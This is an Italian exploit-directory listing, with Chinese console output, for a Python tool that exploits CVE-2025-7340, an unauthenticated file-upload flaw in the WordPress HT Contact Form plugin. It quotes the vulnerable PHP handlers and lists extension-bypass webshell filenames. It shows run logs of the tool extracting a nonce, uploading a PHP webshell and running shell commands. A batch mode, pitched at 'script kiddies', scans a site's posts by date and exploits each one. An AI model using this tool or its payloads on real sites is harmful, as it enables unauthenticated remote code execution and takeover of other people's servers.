Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
WordPress-HT-Contact-CVE-2025-7340-RCE — Exploit Python per CVE-2025-7340, una vulnerabilità di upload file non autenticato nel widget HT Contact Form di WordPress, che consente l'esecuzione remota di codice tramite il deployment di webshell. | Kitploit
Strumenti/GitHubGitHub/kai-one001/wordpress-ht-contact-cve-2025-7340-rce
Generazione di PayloadAnalisi delle VulnerabilitàExploitShellcodeSfruttamento di Applicazioni WebPenetration Testing
GitHubkai-one001/wordpress-ht-contact-cve-2025-7340-rce

WordPress-HT-Contact-CVE-2025-7340-RCE

Exploit Python per CVE-2025-7340, una vulnerabilità di upload file non autenticato nel widget HT Contact Form di WordPress, che consente l'esecuzione remota di codice tramite il deployment di webshell.

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Vedi Repository
11 anno faNon ancora revisionato
Condividi

WordPress HT Contact Form Widget | Analisi della vulnerabilità di upload di file CVE-2025-7340

Posizione della vulnerabilità

Posizione della vulnerabilità: ht-contactform/admin/Includes/Services/FileManager.php Funzione chiave: temp_file_upload()

1. Punto principale della vulnerabilità: la funzione temp_file_upload

root@kitploit:~
#63行
public function temp_file_upload($file) {
  $destination = "{$this->dir}/temp";
  $this->maybe_create_directories($destination);
  // Validate file
  $validation = $this->validate($file);
  if (!$validation['valid']) {
​    wp_send_json_error($validation['message']);
​    return;
  }

  // Process the file
  $filename = $this->process_filename($file['name']);
  $file_path = "{$destination}/$filename";
  // Move file to temporary directory
  if (move_uploaded_file($file['tmp_name'], $file_path)) {
​    wp_send_json_success([
​      'file_id' => $filename,
​      'file_name' => $file['name'],
​      'file_size' => $file['size']
​    ]);
​    return;
  }
}

2. Punto di ingresso della vulnerabilità: gestione AJAX

Posizione del file: ht-contactform/admin/Includes/Ajax.php:

root@kitploit:~
#46-47行
add_action('wp_ajax_ht_form_temp_file_upload', [$this, 'temp_file_upload']);
add_action('wp_ajax_nopriv_ht_form_temp_file_upload', [$this, 'temp_file_upload']);

Problema: viene utilizzato l'hook wp_ajax_nopriv_ , il che significa che anche gli utenti non autenticati possono accedere alla funzionalità di upload dei file.

Analisi della causa principale del problema:

  • Mancata validazione del tipo di file: nella funzione validate di FileManager.php vengono controllati solo gli errori di upload di PHP, senza validare affatto il tipo di file, l'estensione o il tipo MIME.
  • La configurazione dei tipi di file non viene utilizzata: il plugin definisce i file consentiti in Fields.php, ma questa configurazione viene usata solo per la validazione lato front-end durante il rendering del modulo (attributo accept); lato server non viene affatto utilizzata per la validazione.
  • Gestione del nome file non sufficientemente sicura: sanitize_file_name() gestisce principalmente i caratteri speciali e non blocca le estensioni pericolose; un attaccante può comunque caricare file come .php、.php3、.phtml;

3. Problema di controllo degli accessi

root@kitploit:~
// Ajax.php 第46-47行
add_action('wp_ajax_ht_form_temp_file_upload', [$this, 'temp_file_upload']);
add_action('wp_ajax_nopriv_ht_form_temp_file_upload', [$this, 'temp_file_upload']);

Analisi del problema:

  • Anche gli utenti non autenticati possono accedere alla funzionalità di upload
  • Ci si affida esclusivamente alla validazione del nonce, che può essere aggirata

Scenari di attacco

  1. Attacco diretto: l'attaccante può inviare direttamente una richiesta POST a /wp-admin/admin-ajax.php con action ht_form_temp_file_upload

  2. Bypass della validazione lato front-end: il front-end utilizza l'attributo accept per limitare i tipi di file, ma l'attaccante può aggirarlo facilmente

  3. Esecuzione del file: i file PHP caricati possono essere eseguiti dal server web, causando l'esecuzione remota di codice

1. Bypass tramite doppia estensione

root@kitploit:~
shell.php.jpg
shell.php.png
shell.php.gif

2. Bypass tramite maiuscole/minuscole

root@kitploit:~
shell.PHP
shell.Php
shell.pHp

3. Iniezione di byte nulli (se la configurazione del server lo consente)

root@kitploit:~
shell.php%00.jpg

4. Script Python

Nota: l'URL è utilizzabile solo per gli articoli pubblicati tramite il plugin, quindi ho aggiunto una funzionalità 02 per script kiddie


01[Test singolo] Ad esempio:

root@kitploit:~
python RCE.py -u http://192.168.162.131:8081/2025/08/04/test-0-1/

开始尝试.......
获取目标页面...
提取参数...
提取的Nonce: b05a39ff55
AJAX端点: http://192.168.162.131:8081/wp-admin/admin-ajax.php
表单ID: 6
生成webshell...
上传shell,请稍等...

[+] 漏洞利用成功!

Webshell地址: wp-content/uploads/ht_form/temp/6890c4e6f389c-shell.php

[+] 进入shell交互模式,输入'exit'退出!
shell> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
shell> exit
退出交互模式

02[Test della directory principale] Ad esempio:

root@kitploit:~
python RCE.py -r http://192.168.162.131:8081
[*] 请输入日期 (默认20250804):
[*] 使用的日期: 20250804
[*] 正在扫描日期: 2025-08-04
[*] 扫描地址: http://192.168.162.131:8081/2025/08/04/
[*] 发现文章2: Test.0.1
[*] 发现文章3: 8 月 4, 2025
[*] 发现文章6: 世界,您好!
[*] 发现文章7: 8 月 4, 2025
[*] 开始漏洞利用...

[*] 正在利用: http://192.168.162.131:8081/2025/08/04/test-0-1/
开始尝试.......
获取目标页面...
提取参数...
提取的Nonce: b05a39ff55
AJAX端点: http://192.168.162.131:8081/wp-admin/admin-ajax.php
表单ID: 6
生成webshell...
上传shell,请稍等...

[+] 漏洞利用成功!

Webshell地址: wp-content/uploads/ht_form/temp/6890c53ca8d5c-shell.php

[+] 进入shell交互模式,输入'exit'退出!
shell> whoami
www-data
shell> ls
68908c7a7f86d-shell.php
68908fdbba025-shell.php
6890917c70228-shell.php
6890919055905-shell.php
689094afb2f6e-shell.php
6890977a20a7c-shell.php
689097bf2dce9-Users.txt
6890c4e6f389c-shell.php
6890c53ca8d5c-shell.php
index.php
shell> exit
退出交互模式
Scarica lo strumento